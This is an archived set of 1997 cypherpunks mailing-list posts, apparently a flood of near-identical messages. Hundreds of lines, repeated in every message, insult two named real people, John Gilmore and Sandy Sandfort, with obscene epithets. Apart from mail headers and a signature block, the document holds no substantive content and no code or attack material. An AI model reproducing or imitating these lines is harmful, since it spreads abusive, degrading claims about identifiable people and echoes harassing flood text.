John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771119.522827.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771155.523154.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771133.522944.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771045.522214.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771136.522970.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771086.522541.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
